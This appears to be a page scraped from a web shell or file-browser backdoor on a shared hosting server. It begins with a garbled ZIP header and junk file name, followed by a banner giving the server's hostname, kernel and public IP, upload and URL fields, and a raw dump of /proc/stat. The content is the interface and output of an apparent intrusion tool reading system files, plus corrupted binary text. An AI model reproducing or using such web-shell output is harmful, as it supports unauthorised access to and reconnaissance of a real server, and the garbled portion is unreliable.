PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /proc/
Server: Linux premium47.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
IP: 68.65.123.244
Choose File :

Url:
Dir : //proc/stat

cpu  18796302597 228800860 4314511213 60280562210 289406146 330385602 360949057 4816401 0 0
cpu0 401241628 5084776 97070008 1388364722 6516365 7324202 16995138 111317 0 0
cpu1 424784302 5170734 99032199 1367190327 6685534 7354909 12361860 109822 0 0
cpu2 429384253 5429463 99125238 1363780097 6828053 7380876 10612598 109462 0 0
cpu3 433399152 5159977 99255437 1360842012 6745060 7357128 9815124 109340 0 0
cpu4 436201468 5159587 99037169 1360735993 6790189 7336677 7372261 109558 0 0
cpu5 437199475 5241720 99094742 1359857179 6761725 7309679 7175374 109797 0 0
cpu6 434698730 5293702 99096894 1362437937 6777698 7298757 7033550 108996 0 0
cpu7 437042704 5251117 98581927 1360883092 6743508 7285548 6896534 108766 0 0
cpu8 430374631 5143698 98955943 1365251303 6707308 7301462 8910919 108906 0 0
cpu9 430581656 5213984 98746539 1365257978 6694259 7285102 8883762 108279 0 0
cpu10 426364555 5621903 99132722 1368759350 6672088 7272259 8845785 109061 0 0
cpu11 396414853 4815683 99802402 1396671471 6858263 7501285 9464431 114268 0 0
cpu12 431503810 5505613 98523046 1364513063 6614251 7286482 8764479 109042 0 0
cpu13 412221285 5329129 103461156 1362949247 6331943 12611409 19681517 117001 0 0
cpu14 414469238 5218394 102388120 1364925763 6332394 10085285 19012033 113900 0 0
cpu15 426165773 5158207 98600775 1370186229 6592996 7256991 8742626 108475 0 0
cpu16 430268037 5065920 98389234 1366090101 6540850 7398743 8974704 109006 0 0
cpu17 427525044 5307049 98197040 1369060668 6555410 7291423 8811088 108680 0 0
cpu18 428147699 5150928 98298439 1368564721 6600225 7354315 8651557 108006 0 0
cpu19 426168245 4968530 98253378 1370776117 6558121 7195279 8845836 107931 0 0
cpu20 430425714 5254776 97639497 1369173557 6550206 7202651 6560807 107908 0 0
cpu21 434656540 5030584 97311028 1363395655 6522715 9485072 6393092 120858 0 0
cpu22 431536716 5090261 97558530 1368350792 6555623 7194563 6554806 108203 0 0
cpu23 431571218 5473972 97456217 1368094545 6568060 7163715 6528365 107952 0 0
cpu24 432110575 5014218 97330016 1368135785 6556645 7165870 6523409 108209 0 0
cpu25 427249186 5181682 97363708 1372841522 6557146 7143953 6521315 107840 0 0
cpu26 428008214 5321718 97305542 1372015326 6540138 7150071 6499466 108061 0 0
cpu27 425629848 5241471 97353579 1374389909 6573592 7144429 6523647 108262 0 0
cpu28 429399820 5039357 97163786 1371110430 6532888 7145101 6481218 107872 0 0
cpu29 427044868 5134585 97448014 1373022682 6550976 7161619 6497952 108303 0 0
cpu30 427990256 5271499 97012511 1372440500 6496368 7152676 6494640 107951 0 0
cpu31 424219936 5399372 97260879 1375798210 6604922 7113979 6480445 108106 0 0
cpu32 426376723 5113109 97019316 1374309324 6494963 7117477 6465353 107772 0 0
cpu33 428255310 4986619 97034904 1372496535 6499579 7128758 6483523 107987 0 0
cpu34 431473545 4954140 97010273 1369382794 6518149 7125826 6439564 107931 0 0
cpu35 427077599 5140315 97030426 1373573059 6480071 7124864 6461647 108224 0 0
cpu36 424812147 5217066 97333654 1375472156 6516036 7115222 6438156 107633 0 0
cpu37 428900847 5557363 96609119 1371801618 6484530 7133103 6421488 107714 0 0
cpu38 427193511 5211568 96554246 1373942910 6490401 7099364 6420270 107953 0 0
cpu39 429472822 4875985 96615130 1371934552 6489853 7131969 6419821 107687 0 0
cpu40 426350313 5277137 96762533 1374523102 6470263 7123444 6414591 107931 0 0
cpu41 427583023 5121245 97104237 1373061052 6509104 7111727 6430577 107868 0 0
cpu42 427022363 5310641 97046457 1373564182 6502178 7103339 6399921 107921 0 0
cpu43 427784942 5292042 97145181 1370634626 6435477 9358976 6243791 120618 0 0
intr 230357981481 204 9 0 0 508 0 0 0 150 0 0 0 15 0 18983227 0 0 0 0 0 0 0 0 0 0 47 0 0 0 23822173 4224242630 15 2164039153 1644789246 15 681613572 746723927 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 909759947079
btime 1753600460
processes 2252516313
procs_running 18
procs_blocked 0
softirq 137045574541 1 1847322352 37746 1928932407 1631371 0 902128352 3218512316 4815039 293176077